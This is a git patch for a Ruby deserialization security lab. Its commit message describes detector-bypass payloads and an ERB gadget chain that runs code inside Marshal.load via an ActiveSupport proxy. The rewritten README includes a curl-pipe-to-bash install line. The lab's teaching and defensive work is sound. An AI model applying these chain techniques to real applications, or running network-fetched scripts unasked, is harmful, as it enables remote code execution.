From f0ce950ac8e4f983d3fb901c010353f9caa12033 Mon Sep 17 00:00:00 2001 From: CarterPerez-dev Date: Thu, 30 Jul 2026 23:04:38 -0400 Subject: [PATCH] feat(marshalsea): close both audits, then build the three halves the contract promised Two independent audits of the same tree, one executed and one static. Both were worth running: the static pass found seven real defects the executed pass missed, including the worst one here, and the executed pass found three the static pass could not see because seeing them required running Ruby. The release workflow could publish from any branch. The publish job carried no ref condition and its tag check read `[ tag != expected ] && [ event = push ]`, so on a workflow_dispatch the second clause was false, the && never fired, and control fell straight through to rubygems/release-gem. Anyone with the Actions tab could ship a mutable branch checkout to rubygems.org. The job is now gated on a pushed refs/tags/marshalsea-v* ref, the version check is unconditional, and the manifest is audited before the push step with a negative control proving a drifted lib file turns it red. Three payloads ran attacker code while the detector reported proceed. A String-subclass hash key reaching a user #eql?, measured {eql: 1}; a gadget nested in a bare Array key, measured {hash: 1}, 22 bytes hand-built; and a Range whose endpoints dispatch #<=>, measured {cmp: 1}. All three were accepted under deny_sinks_only and under strict with the class allowlisted, which is the documented normal usage. They are blocked under every policy now. The oracle that missed them dumped `{ key => nil }`. One key means no bucket collision, so #eql? could never fire in the probe no matter how many key shapes were added. Blind by construction, the exact defect class this project already had a rule about. The corpus went further and asserted the String-subclass case was a precision control, a positive claim that rejecting it would be a false positive. It is a reject now, and the key rules are re-derived from research 02 section 4.2 rather than grown case by case. Range endpoints marshal as bare `begin`/`end`, not `@begin`/`@end`, because Range uses a marshal compat dumper. The first constant was wrong and the test caught it. The scanner's reachability filter contradicted its own thesis. Requiring zero arity for ungated entry points excluded eql?, ==, <=>, []=, method_missing and respond_to_missing? entirely: 85 candidates across those rows, 0 reachable. Only hash and to_s survived, and research 02 section 4.2 verified to_s is never an entry point, so 11 of 18 reachable results were a method Marshal.load does not invoke. Entry points are now a table carrying gate, format and the arity the deserializer supplies; links are a third gate value and are reported separately instead of scored as entry points. Gated hooks are arity-checked too, so an arity-0 marshal_load that would raise ArgumentError is no longer called reachable. Marshal.load reaches a private self._load through rb_funcallv, which ignores visibility, while singleton_methods(false) does not report it. Adding singleton_class.private_instance_methods immediately found Time._load on a stock image, a real stdlib sink the scanner had never seen. Prism is error tolerant and parse_definitions consumed .value without checking failure?, so a tree recovered from four syntax errors produced a confident touches_state verdict; it is a suppression now. The parser accepted ivar-name and struct-member-name slots holding a fixnum, a string or an array, the detector said proceed, and CRuby then raised ArgumentError, so the defended route answered 500. The parser stays forensic on purpose, because a sink hidden where a symbol belongs must stay visible, so the anomaly is labelled on Result and the detector rejects on it. The target also rescues the loader rather than trusting inspection. Three things the contract promised and did not have. The headline payload was not a chain. It built an ERB object past the @_init guard and then both demonstrations called def_method themselves, so the canary was not a consequence of Marshal.load. Research 04 line 292 and 05 line 982 already said the real chain reaches def_module through ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy, and 05 line 1143 listed reproducing it as open. erb-def-module does that: the proxy sits in hash-key position, ungated #hash dispatch lands in method_missing, target calls @instance.__send__(:def_module), and ERB compiles the payload inside Marshal.load with no application call. The old builder stays as erb-def-method and is labelled a primitive. Three things only execution showed: the proxy undefines instance_variable_set so setup has to go through a bound Object method; a real deprecator holds a Proc and cannot be dumped, so the chain hand-builds one with @silenced true and warn short-circuits before touching @behavior; and building {proxy => 1} fires the payload in the builder's own process, so serialize splices a key-position stream from a standalone dump and refuses any graph carrying an object link, whose index would shift behind the hash node. LoadGuard is the M6 runtime guard. A TracePoint on :call fires before a method body runs, which is the veto a Marshal.load proc cannot give you. It watches the gated hooks plus method_missing and respond_to_missing?, because a hook list without those two is evaded by a respond_to_missing? proxy. hash and eql? are opt-in behind strict:, since they are among the hottest methods in Ruby and BoundaryDetector already catches key-position dispatch before any bytes load. It raises a StandardError, never a SecurityError that would skip every rescue in the stack. Its cost is not 1.4x. That figure is a property of the payload that was measured, not of the guard. Enabling a TracePoint costs a near-constant ~46 microseconds per load, so the ratio is decided by how much work the load does: 185.9x on 3 bytes, 40.4x on a 45-byte session cookie, 1.1x on 46 KB, 1.0x on 488 KB. The lab's own use case is a session cookie, which is the worst case. A dated correction is written back into research 03. The Psych half exists now. Psych::Inspector reads a document through parse_stream, revives nothing, and reports every !ruby/* tag with the method it would dispatch, bounded on bytes, depth, nodes, aliases and documents. psych-init-with is the matching chain. The target grows /yaml/unsafe and /yaml/safe so the spine of this project is executable over HTTP: the same ERB object reaches code execution through YAML.unsafe_load, and YAML.safe_load refuses it by checking the tag before revival. The gate proves both layers independently, including a document the inspector approves that Psych still refuses, so neither can alibi the other. The target ran attacker Ruby on Docker's default bridge with outbound access and installed sinatra, rackup and webrick unversioned. It now runs on an internal network with cap-drop ALL, no-new-privileges, pid and memory ceilings and pinned versions, with a control proving it cannot reach off the host. Creating that network also proved --internal blocks the published port, so the gate drives the target from a second container on the same network instead. The HTTP gate asserted body prefixes and never captured status; it asserts exact status and body per endpoint now, which immediately caught a bug in this very change where a nil sentinel conflated "the loader refused" with the legitimate value nil. Smaller: Chains.all filtered out a Base that was never registered, so the filter was inert and its test vacuous; chains are discovered by directory glob now, per the design's no-registry-to-rot contract. AFFECTED was shallow frozen, and mutating metadata[:affected][2] flipped affects?("5.0.0") from true to false. Limits.permissive keeps a depth cap on purpose and now says so, because lifting it trades a rescuable DepthLimitError for an uncatchable SystemStackError. The README claimed a fixnum width rejection its own test proves is unreachable. Regexp options were discarded while the node still reported fully_decoded?. The README is rebuilt to the repository's shape, and Deserialization Gadget Lab takes project 41 in the root table, replacing Ghost on the Wire. CHANGELOG.md is dropped from the gem manifest, the metadata and the packaging gate. Full gate: 78 PASS, 0 FAIL across six stages, up from 58. 267 tests across seven suites, from 194. Lint 0 across 37 files. Every rule added here ships with the mutant that kills it. --- .github/workflows/publish-marshalsea.yml | 20 +- .../deserialization-gadget-lab/.gitignore | 5 +- .../deserialization-gadget-lab/CHANGELOG.md | 138 -------- .../deserialization-gadget-lab/README.md | 322 +++++++++--------- .../deserialization-gadget-lab/justfile | 14 + .../lib/marshalsea.rb | 2 + .../lib/marshalsea/chains.rb | 5 +- .../lib/marshalsea/chains/base.rb | 43 +++ .../lib/marshalsea/chains/erb_def_method.rb | 23 +- .../lib/marshalsea/chains/erb_def_module.rb | 129 +++++++ .../lib/marshalsea/chains/psych_init_with.rb | 57 ++++ .../marshalsea/marshal/boundary_detector.rb | 23 +- .../lib/marshalsea/marshal/constants.rb | 5 + .../lib/marshalsea/marshal/limits.rb | 4 +- .../lib/marshalsea/marshal/load_guard.rb | 120 +++++++ .../lib/marshalsea/marshal/node.rb | 70 +++- .../lib/marshalsea/marshal/parser.rb | 20 +- .../lib/marshalsea/psych/inspector.rb | 277 +++++++++++++++ .../lib/marshalsea/scanner.rb | 137 ++++++-- .../marshalsea.gemspec | 4 +- .../scripts/audit_gem.rb | 2 +- .../scripts/detector-gate.sh | 52 +++ .../scripts/exploit-gate.sh | 72 +++- .../scripts/package-gate.sh | 9 +- .../scripts/target-gate.sh | 282 ++++++++++----- .../scripts/target_client.rb | 31 ++ .../target/Dockerfile | 6 +- .../deserialization-gadget-lab/target/app.rb | 47 ++- .../target/chain.Dockerfile | 9 + .../test/chains_test.rb | 117 ++++++- .../test/control_check.rb | 2 +- .../test/marshal/boundary_detector_test.rb | 50 +++ .../test/marshal/load_guard_test.rb | 265 ++++++++++++++ .../test/marshal/parser_test.rb | 185 +++++++++- .../test/psych/inspector_test.rb | 258 ++++++++++++++ .../test/scanner_test.rb | 130 ++++++- .../test/support/adversarial_corpus.rb | 67 +++- .../test/support/exploit_probe.rb | 88 +++-- README.md | 2 +- 39 files changed, 2581 insertions(+), 511 deletions(-) delete mode 100644 PROJECTS/beginner/deserialization-gadget-lab/CHANGELOG.md create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_module.rb create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/psych_init_with.rb create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/load_guard.rb create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/psych/inspector.rb create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/scripts/target_client.rb create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/target/chain.Dockerfile create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/test/marshal/load_guard_test.rb create mode 100644 PROJECTS/beginner/deserialization-gadget-lab/test/psych/inspector_test.rb diff --git a/.github/workflows/publish-marshalsea.yml b/.github/workflows/publish-marshalsea.yml index 75c2ca20..99c2be77 100644 --- a/.github/workflows/publish-marshalsea.yml +++ b/.github/workflows/publish-marshalsea.yml @@ -63,6 +63,7 @@ jobs: release: name: Push marshalsea to RubyGems needs: test + if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/marshalsea-v') runs-on: ubuntu-latest environment: name: rubygems @@ -87,11 +88,28 @@ jobs: version=$(ruby -e 'require "./lib/marshalsea/version"; print Marshalsea::VERSION') expected="marshalsea-v${version}" echo "tag=${GITHUB_REF_NAME} gemspec=${expected}" - if [ "${GITHUB_REF_NAME}" != "${expected}" ] && [ "${GITHUB_EVENT_NAME}" = "push" ]; then + if [ "${GITHUB_REF_NAME}" != "${expected}" ]; then echo "::error::tag ${GITHUB_REF_NAME} does not match ${expected}" exit 1 fi + - name: Audit what the manifest would ship + working-directory: PROJECTS/beginner/deserialization-gadget-lab + run: | + version=$(ruby -e 'require "./lib/marshalsea/version"; print Marshalsea::VERSION') + rm -rf tmp/release && mkdir -p tmp/release + ruby -e 'puts Gem::Specification.load("marshalsea.gemspec").files' >tmp/release/declared.txt + tar -T tmp/release/declared.txt -cf - | tar -C tmp/release -xf - + cp marshalsea.gemspec tmp/release/ + ( cd tmp/release && gem build --strict marshalsea.gemspec ) + ruby scripts/audit_gem.rb \ + "tmp/release/marshalsea-${version}.gem" . ">= 3.4" tmp/release/extract | + tee tmp/release/audit.txt + if grep -q '=false$' tmp/release/audit.txt; then + echo "::error::the declared manifest would ship a gem that fails its own audit" + exit 1 + fi + - name: Release to RubyGems with trusted publishing and attestation uses: rubygems/release-gem@v1 with: diff --git a/PROJECTS/beginner/deserialization-gadget-lab/.gitignore b/PROJECTS/beginner/deserialization-gadget-lab/.gitignore index 5b77316f..3576b175 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/.gitignore +++ b/PROJECTS/beginner/deserialization-gadget-lab/.gitignore @@ -1,12 +1,9 @@ # ©AngelaMos | 2026 # .gitignore -# Dev-only docs (research / plans / context / handoffs) never ship to the public repo +# Dev-only docs docs/ -# Agent briefing, local only -AGENTS.md - # Ruby build + dependency artifacts *.gem /pkg/ diff --git a/PROJECTS/beginner/deserialization-gadget-lab/CHANGELOG.md b/PROJECTS/beginner/deserialization-gadget-lab/CHANGELOG.md deleted file mode 100644 index bf822adb..00000000 --- a/PROJECTS/beginner/deserialization-gadget-lab/CHANGELOG.md +++ /dev/null @@ -1,138 +0,0 @@ -# Changelog - -All notable changes to marshalsea are documented here. - -The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), -and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - -## [Unreleased] - -### Added - -- Marshal stream parser that extracts structure, class names, and gadget sinks - from a serialized payload without ever calling `Marshal.load` -- Sink classification along the gated/ungated dispatch axis: `marshal_load` and - `_load` are reached through a `respond_to?` check, while `hash`, `eql?`, `<=>` - and `[]=` are dispatched blind -- Stream validation rejecting truncated payloads, unsupported version bytes, - unknown type tags, out-of-bounds object links and symlinks, oversized fixnum - widths, trailing bytes, and nesting beyond a configurable depth limit -- Reflection-based gadget scanner that walks `ObjectSpace` for auto-invoked - methods and reports whether a Prism-backed reachability filter considers each - one reachable from a deserialized object -- Version-compatibility matrix probing six pinned Ruby images, indexed by - RubyGems version rather than Ruby version because the gadget lives in RubyGems -- Version-scoped payload chains carrying their own affected ranges, with - CVE-2026-41316 (ERB `@_init`) as the reference chain -- Deliberately vulnerable Sinatra target with one endpoint that loads a session - cookie directly and one that inspects the stream first -- `BoundaryDetector` with three policies, a frozen snapshot on any decision that - is not blocked, and a written `LIMITATION_NOTICE` naming a bypass it cannot - catch -- `Decision` reports exactly one of three states — `proceed?`, `blocked?`, - `observed?` — validated in the constructor so they cannot overlap. `proceed?` - is the only predicate that should gate a `Marshal.load`; `observed?` is the - non-blocking observe-and-log outcome and a caller opts into it by name. There - is no `accepted?`, because one predicate cannot answer both "did the policy - permit this" and "is this stream free of violations" -- Scanner error accounting: every swallowed rescue is recorded with its site, - subject and error class, and `Report` exposes `suppressed_count`, - `suppressions_by_site`, `complete?` and `candidates_lost?` -- Release workflow publishing to RubyGems by trusted publishing, so no long-lived API - key exists in repository secrets to leak. It fires on a `marshalsea-v*` tag, runs the - suites and the standalone controls on both Ruby 3.4 and 4.0 first, refuses to publish - if the tag disagrees with `Marshalsea::VERSION` or if the gemspec floor no longer - matches the tested matrix, and emits a Sigstore attestation. The attestation is a - publicly auditable record of which workflow built the artifact; it is **not** an - install-time protection, because neither `gem install` nor `bundle install` verifies - one today -- Packaging gate that builds the gem from its declared manifest alone, audits - what shipped, installs the artifact on the floor and current images, and - exercises it from the installed copy rather than the worktree. It asserts every - shipped `lib` file is byte-identical to source, which catches an artifact built - from stale code even though such a gem installs and requires without error. It - can be pointed at a `.gem` you already have, and it carries three negative - controls: a gem that ships the vulnerable target must be rejected, a gem with a - drifted `lib` file must be rejected, and RubyGems must refuse to install below - the declared floor -- Four-state reachability analysis. A method is analysed (touches state or does - not), `unreadable_source?` (a path was given and could not be parsed, so it - fails open and stays reachable), or `unanalysable?` (no Ruby source exists at - all, so it is reported rather than guessed at). `Report#unanalysable` and - `#fully_analysed?` state the filter's real coverage instead of implying it saw - everything -- Reject reasons escape and bound every attacker-controlled class name before it - reaches a caller-supplied reporter, so a name carrying CR, LF, ESC or NUL can - no longer forge log lines - -- Float bodies decode to the same value `Marshal.load` produces, including - `inf`, `-inf` and `nan`, hex literals, and the prefix-and-stop behaviour that - makes `"1_0"` parse as 1.0 and `"abc"` as 0.0. A body carrying Ruby's legacy - binary mantissa is reported through `Node#undecoded_tail` rather than guessed - at, so `fully_decoded?` is false instead of a plausible wrong number -- The parse graph is sealed before it is returned. Every node, its collections - and its scalar values are frozen, so a caller cannot rewrite a verdict field - or splice a node into a graph the parser already reported on - -### Fixed - -- `read_float` returned `nil` for seven classes of body that `Marshal.load` - accepts, including the `inf`/`-inf`/`nan` forms Ruby emits today -- Bounds checks on symlink and object-link indices relied on negative-index - wraparound being caught by a second clause; they now say what they mean -- `Constants::GATED_SINK_TAGS` omitted `TAG_DATA` while `Scanner::GATED_METHODS` - listed `_load_data`, so the two halves disagreed about which sinks are gated. - `Marshal.load` does check `respond_to?(:_load_data)` before dispatching, which - a hand-built `d` stream naming a real C-level `T_DATA` demonstrates directly -- The defended target endpoint returned HTTP 500 with a source snippet for any - root the detector accepted that was not a session hash -- Detection of objects placed in **hash key** position, where `#hash` and `#eql?` - are dispatched during load before any allowlist can act. Scoped to keys whose - reconstructed value is not a `T_STRING`, matching what `Marshal.load` actually - dispatches - -### Changed - -- `Parser.new` now enforces `Limits.new` by default instead of resolving to an - unbounded configuration. Pass `limits: Limits.permissive` for forensic parsing - of a stream you already trust -- `Limits.permissive` is a class method; it was an instance method that ignored - its receiver and allocated twice -- **Renamed from `rube` to `marshalsea`.** `rube` has been taken on rubygems.org since - 2009-08-05, so the original name could never have been published. The module is - `Marshalsea`, the library path is `lib/marshalsea/`, and `require "rube"` becomes - `require "marshalsea"`. The Marshalsea was a London debtors' prison; the name is the - job description, since the tool holds untrusted objects at the gate and decides what - gets through -- `Rakefile` gained `bundler/gem_tasks` and, with it, the `release` task the publishing - action invokes. It sets `Bundler::GemHelper.tag_prefix = "marshalsea-"`, because the - default produces a bare `v0.1.0` tag and this gem lives in a repository shared by - sixty projects. Note that `rake -T` still *prints* `Create tag v0.1.0`: that - description string is built when `bundler/gem_tasks` is required, before the prefix is - assigned. The tag actually created is `marshalsea-v0.1.0`, and `just package` asserts - the real value rather than the printed one -- `required_ruby_version` raised from `>= 3.3` to `>= 3.4`. The old floor was - never tested: every gate stage ran on Ruby 4.0 images only. Ruby 3.3 turns out - to fail the suite, because `Marshal.load` did not validate the bignum sign byte - until 3.4 and the parser is written against the version that does. 3.4 is the - oldest release on which the whole suite is green, so it is the floor. - `TargetRubyVersion` moves with it, as those two must stay equal -- `just build` writes to `tmp/build` as the invoking user instead of dropping a - root-owned `.gem` in the repository root, and stages only the files the gemspec - declares, so a manifest that omits a file can no longer produce a gem that - builds anyway - -### Fixed - -- `TAG_IVAR` did not increment depth, so an `I`-chain of any length parsed under - any ceiling and a 13 KB payload exhausted the Ruby stack with a - `SystemStackError` that no `rescue StreamError` could catch -- `read_userdef` hard-coded a depth of 1 for its class-name slot, handing that - subtree a fresh depth budget mid-stream -- Bignum magnitude bytes bypassed the scalar budget entirely, so 400,000 of them - were accepted where a 400,000-byte string was rejected -- Bignum sign byte was treated as negative-or-positive with no validation, so any - byte other than `-` read as positive where `Marshal.load` raises `ArgumentError` -- Symbol references, symbol name bytes, class name bytes, instance variable - counts, and struct member counts were charged to no budget or to an overly - generous shared one diff --git a/PROJECTS/beginner/deserialization-gadget-lab/README.md b/PROJECTS/beginner/deserialization-gadget-lab/README.md index 682803bf..448b04dc 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/README.md +++ b/PROJECTS/beginner/deserialization-gadget-lab/README.md @@ -1,98 +1,85 @@ -# marshalsea + + -A Ruby object-deserialization security lab. - -A gadget chain is a Rube Goldberg machine. One untrusted blob goes in, a dozen -unrelated standard-library methods knock each other over, and code execution falls out -the far end. This project builds the machine, then builds the thing that stops it. - -The Marshalsea was a London debtors' prison, in operation from 1373 to 1842. The name is -the job: hold untrusted objects at the gate and decide what gets through, before -`Marshal.load` turns bytes into behaviour. - -## Why this exists - -`Marshal.load` on untrusted input is arbitrary code execution. So is `YAML.unsafe_load`, -`JSON.load` with additions enabled, and `Oj.load` in its default mode. This is not a Ruby -quirk. It is the same class of bug as Java deserialization, PHP POP chains, and Python -pickle, and it sits at CWE-502 in the CISA Known Exploited Vulnerabilities catalog with a -**34.8% known-ransomware rate against a 20.1% baseline** across the catalog as a whole. - -Most write-ups on this topic teach the exploit. Fewer teach why the obvious defense does -not work. This one does both, because the second half is where the actual lesson lives: - -**You cannot make `Marshal.load` safe with an allowlist.** The `proc` you pass runs in -`r_post_proc`, which `marshal.c` invokes *after* `load_funcall(... s_mload ...)`. By the -time your allowlist sees the object, `marshal_load` has already run. The pattern widely -copied off Stack Overflow is a post-mortem, not a veto. - -**Psych's allowlist genuinely is a veto** — for exactly one reason. It checks the tag -*before* revival, where Marshal checks the object *after* construction. Identical intent, -opposite outcome, decided entirely by where the check sits. - -## Status - -All six pieces are built and tested. - -- **Marshal stream parser** — parses the binary format, extracts referenced class names - and gadget sinks, and validates structure, all without ever calling `Marshal.load`. - Rejects truncated streams, unsupported versions, unknown tags, out-of-bounds object - links and symlinks, oversized fixnum widths, trailing bytes, and excessive nesting. -- **Version-compatibility matrix** — probes six pinned Ruby images and reports where the - published git gadget and the ERB `@_init` guard actually change. -- **Reflection-based gadget scanner** — walks `ObjectSpace` for auto-invoked methods and - classifies them by whether `Marshal.load` can reach them. It counts every error it - swallows, names the site, and treats a method it could not analyse as reachable rather - than inert, so under-reporting is visible instead of silent. -- **Payload builder** — version-scoped chains carrying their own affected ranges. -- **Vulnerable containerized target** — a Sinatra app with one endpoint that loads a - session cookie and one that inspects it first. -- **Boundary detector** — the defensive layer, with an explicit written statement of what - it cannot do. - -## Requirements - -Ruby **3.4 or newer**. That floor is measured, not picked for tidiness. - -Ruby changed `Marshal.load` between 3.3 and 3.4. Through 3.3, any byte in a bignum's sign -position is accepted and anything that is not `-` is read as positive. From 3.4 onward the -same stream raises `ArgumentError: invalid Bignum sign`: - -| sign byte | 3.2.11 | 3.3.12 | 3.4.10 | 4.0.6 | -|---|---|---|---|---| -| `+` and `-` | accept | accept | accept | accept | -| `!`, `\x00`, `\xFF`, `0` | accept | accept | **reject** | **reject** | - -marshalsea's parser accepts `+` and `-` only, so it models 3.4 and newer. Run it on 3.3 and it -disagrees with the interpreter it exists to model on four of those six bytes. A stream -inspector that disagrees with the loader it guards is not worth shipping, so the floor sits -where the agreement starts. `just package` re-proves this in both directions on every run: -on the floor image Ruby and the parser agree, one version below it they diverge. - -## Installation - -The first release has not been cut yet, so there is nothing on rubygems.org to install from. -Build it from this checkout: - -``` -just build -gem install --local tmp/build/marshalsea-0.1.0.gem +```json +███╗ ███╗ █████╗ ██████╗ ███████╗██╗ ██╗ █████╗ ██╗ ███████╗███████╗ █████╗ +████╗ ████║██╔══██╗██╔══██╗██╔════╝██║ ██║██╔══██╗██║ ██╔════╝██╔════╝██╔══██╗ +██╔████╔██║███████║██████╔╝███████╗███████║███████║██║ ███████╗█████╗ ███████║ +██║╚██╔╝██║██╔══██║██╔══██╗╚════██║██╔══██║██╔══██║██║ ╚════██║██╔══╝ ██╔══██║ +██║ ╚═╝ ██║██║ ██║██║ ██║███████║██║ ██║██║ ██║███████╗███████║███████╗██║ ██║ +╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ ``` -Releases are published from CI by trusted publishing, so no long-lived API key exists to -leak. `gem install marshalsea` starts working once the first tag ships. +[![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Project%20%2341-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/deserialization-gadget-lab) +[![Ruby](https://img.shields.io/badge/Ruby-4.0-CC342D?style=flat&logo=ruby&logoColor=white)](https://www.ruby-lang.org) +[![Gem](https://img.shields.io/badge/gem-marshalsea-E9573F?style=flat&logo=rubygems&logoColor=white)](https://rubygems.org/gems/marshalsea) +[![Formats](https://img.shields.io/badge/formats-Marshal%20%2B%20YAML-6D4AFF?style=flat)](#the-two-allowlists) +[![CVE](https://img.shields.io/badge/CVE--2026--41316-CVSS%208.1-4457E8?style=flat)](https://www.ruby-lang.org/en/news/2026/04/21/erb-cve-2026-41316/) +[![Tests](https://img.shields.io/badge/tests-267-8B5CF6?style=flat)](#build-and-test) +[![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0) -The gem carries `lib/`, the README, the changelog, and the license. Nothing else. The -vulnerable target, the adversarial corpus, the gate scripts, and the research notes stay in -the repository, and `just package` fails if any of them turn up inside a built artifact. +> A Ruby object-deserialization security lab. It reads `Marshal` and YAML bytes without ever reviving them, tells you which classes are in there and which methods those bytes would fire, hunts your loaded code for the classes that make usable gadgets, builds a working payload for a real 2026 CVE, and then stands up a deliberately vulnerable Sinatra target so you can watch the exploit land over HTTP and watch the defense stop it. It ships as a gem plus a container, and every defense in it comes with a written statement of what it cannot do. -## Usage +## Why deserialization is its own bug class + +Serializing an object freezes it into bytes. Deserializing thaws it back. The trap is that thawing is not a passive copy: rebuilding an object calls methods on it, and if an attacker chooses the bytes then the attacker chooses which methods run. String enough unrelated standard-library methods together and code execution falls out the far end. A gadget chain is a Rube Goldberg machine, and nowhere in those bytes is there an instruction that says "run a command." + +This is not a Ruby quirk. It is the same shape as Java deserialization, PHP POP chains, and Python pickle. CWE-502 is the seventh most common weakness in the CISA Known Exploited Vulnerabilities catalog, at 69 of 1,653 entries, and **34.8% of those carry known ransomware use against a 20.1% baseline** for the catalog as a whole. Ruby itself has shipped two advisories in this class recently: CVE-2024-27281 in RDoc and CVE-2026-41316 in ERB, the one this lab reproduces. + +It is also the bug class the industry most consistently gets wrong in retellings. Equifax is cited as an insecure-deserialization breach in an enormous number of write-ups. It was OGNL injection, CWE-755. The Apache Software Foundation published that correction on 2017-09-14 and the correction lost. `learn/01-CONCEPTS.md` opens with that debunk on purpose, because a repository that teaches this class should be able to show its work. + +## What it is + +Not a stub. Every capability below is exercised by 267 tests across seven suites and a six-stage gate that runs real containers, with 78 assertions that must all pass. + +**A reader that never loads (Marshal)** +- Parses the Marshal binary format without calling `Marshal.load`: version bytes, type tags, instance variables, object links, symbols, floats +- Extracts referenced class names and sink tags without instantiating anything at all +- Rejects truncated streams, unsupported versions, unknown tags, out-of-bounds object links and symlinks, trailing bytes, and excessive nesting, and bounds fourteen separate resource axes by default rather than on request +- Labels what it cannot decode instead of guessing: a legacy float mantissa becomes an `undecoded_tail`, and a role slot holding the wrong node type becomes a named anomaly rather than a silent pass + +**A reader that never loads (YAML)** +- Reads a document through `Psych.parse_stream`, which builds an AST and revives nothing +- Reports every `!ruby/*` tag with the method that tag would dispatch: `init_with`, `[]=`, or `marshal_load` +- Counts aliases instead of expanding them, so an alias bomb costs nothing to inspect + +**A boundary detector with three states and no comforting lies** +- One `state` per decision, `proceed` / `blocked` / `observed`, mutually exclusive by construction. There is no `accepted?`, because "did the policy permit this" and "is this stream clean" have different answers under monitoring mode and one predicate cannot answer both +- Rejects on sink tags, on hash keys whose `#hash` or `#eql?` would dispatch during load, on `Range` endpoints whose `#<=>` would dispatch, and on unapproved class names, each with a reason that is a true statement about that specific stream +- Bounds how much attacker-controlled text reaches your logs, and escapes control bytes so a class name cannot forge a log line + +**A runtime guard that vetoes instead of reporting** +- A `TracePoint` on `:call` fires *before* a method body runs, which is exactly the veto point a `Marshal.load` allowlist proc denies you +- Refuses an unpermitted `marshal_load`, `_load`, `_load_data`, `method_missing`, or `respond_to_missing?` before the body executes, thread-scoped so one request does not tax the process +- Ships its own bypasses, including the one it deliberately leaves open by default + +**A reflection scanner over the loaded class graph** +- Sorts auto-invoked methods into entry points a deserializer dispatches directly and links a gadget calls once a chain is already moving, because `to_s` is a link and never an entry point and conflating them is a false positive +- Each entry point carries the format that reaches it, the gate that guards it, and the argument count the deserializer supplies, so a `marshal_load` whose arity cannot accept the call is not reported as reachable +- Counts every error it swallows, names the site, and treats a method it could not analyse as reachable rather than inert, so under-reporting is visible instead of silent + +**Payloads, labelled by what they actually are** +- `erb-def-module` is a **chain**: it reaches `ERB#def_module` through an `ActiveSupport` proxy in hash-key position, so it executes inside `Marshal.load` with no cooperation from the application +- `erb-def-method` is a **primitive**: it forges an ERB object past the `@_init` guard and stays inert until the application calls a `def_*` method on it +- The builder never runs its own payload. A key-position stream is spliced from a standalone dump instead of assembled by building the hash locally, and it refuses any object graph whose link indices would shift + +**A vulnerable target you can attack over HTTP** +- Sinatra on Rack 3 in a container with no route off the host, read-only root, dropped capabilities, and pinned dependencies +- Four endpoints: load a Marshal cookie, inspect it first, then the same pair again over YAML + +## Quick Start + +```bash +gem install marshalsea +``` + +Look at a payload without running it: ```ruby require "marshalsea" payload = Marshal.dump(Gem::Requirement.new(">= 0")) -result = Marshalsea::Marshal::Parser.new(payload).parse +result = Marshalsea::Marshal::Parser.new(payload).parse result.class_names # => ["Gem::Requirement", "Gem::Version"] @@ -101,106 +88,133 @@ result.sinks.map { |s| "#{s.class_name}##{s.sink_method}" } # => ["Gem::Requirement#marshal_load", "Gem::Version#marshal_load"] ``` -`Parser.new` enforces `Marshalsea::Marshal::Limits.new` unless you say otherwise. Every ceiling -is opt-out, never opt-in — pass `limits: Marshalsea::Marshal::Limits.permissive` if you are doing -forensics on a stream you already trust and want it parsed whole. - -To make a decision rather than inspect a stream, use the detector, which applies a policy -and hands back a frozen snapshot: +Make a decision instead of an observation: ```ruby detector = Marshalsea::Marshal::BoundaryDetector.new(allowed_class_names: %w[Hash String]) decision = detector.inspect_stream(untrusted_bytes) -decision.blocked? # => true -decision.reason # => "stream reaches Gem::Requirement#marshal_load during load, ..." -``` +decision.blocked? # => true +decision.reason # => "stream reaches Gem::Requirement#marshal_load during load, ..." -A decision is in exactly one of three states, and `proceed?` is the only one that gates a -load: - -```ruby Marshal.load(decision.snapshot) if decision.proceed? ``` -`proceed?` means the policy found no violation. `blocked?` means it found one and refused. -`observed?` is the third state, and it exists because `POLICY_OBSERVE_AND_LOG` is -non-blocking by design: a violation was found, reported, and deliberately not enforced. Such -a decision still carries its snapshot, so a caller running in monitoring mode opts in by -naming that state out loud: +Nothing above instantiates a class, calls a constructor, or invokes `Marshal.load`. Read `Marshalsea::Marshal::BoundaryDetector::LIMITATION_NOTICE` before you rely on `proceed?`. -```ruby -Marshal.load(decision.snapshot) if decision.proceed? || decision.observed? +Then run the lab itself from a checkout: + +```bash +just gate # everything: suites, matrix, exploit, detector, target, packaging +just target # stand up the vulnerable app and attack it over HTTP +just scan # run the gadget scanner over loaded modules ``` -There is no `accepted?`. The question "did the policy permit this" and the question "is -this stream free of violations" have different answers under observe-and-log, and one -predicate cannot answer both. +> [!TIP] +> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see every recipe. +> +> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin` -Read `Marshalsea::Marshal::BoundaryDetector::LIMITATION_NOTICE` before relying on `proceed?`. -A stream that proceeds is not a safe one, and the notice says so in detail. +## The two allowlists -Nothing above instantiates a class, calls a constructor, or invokes `Marshal.load`. +This is the spine of the project and the reason it exists. Everyone teaches "do not deserialize untrusted input." Almost nobody explains why the obvious fix fails. -## Development - -Everything runs in Docker against a pinned Ruby. +The obvious fix is handing `Marshal.load` an allowlist proc. It does not work, and the reason is one line of `marshal.c`: the proc runs in `r_post_proc`, which is invoked *after* `load_funcall(... s_mload ...)`. Psych's allowlist genuinely is a veto, for exactly one reason: it checks the tag *before* revival. ``` -just test run the minitest suites -just control run the negative controls -just check both -just corpus print every adversarial corpus case and its verdict -just scan 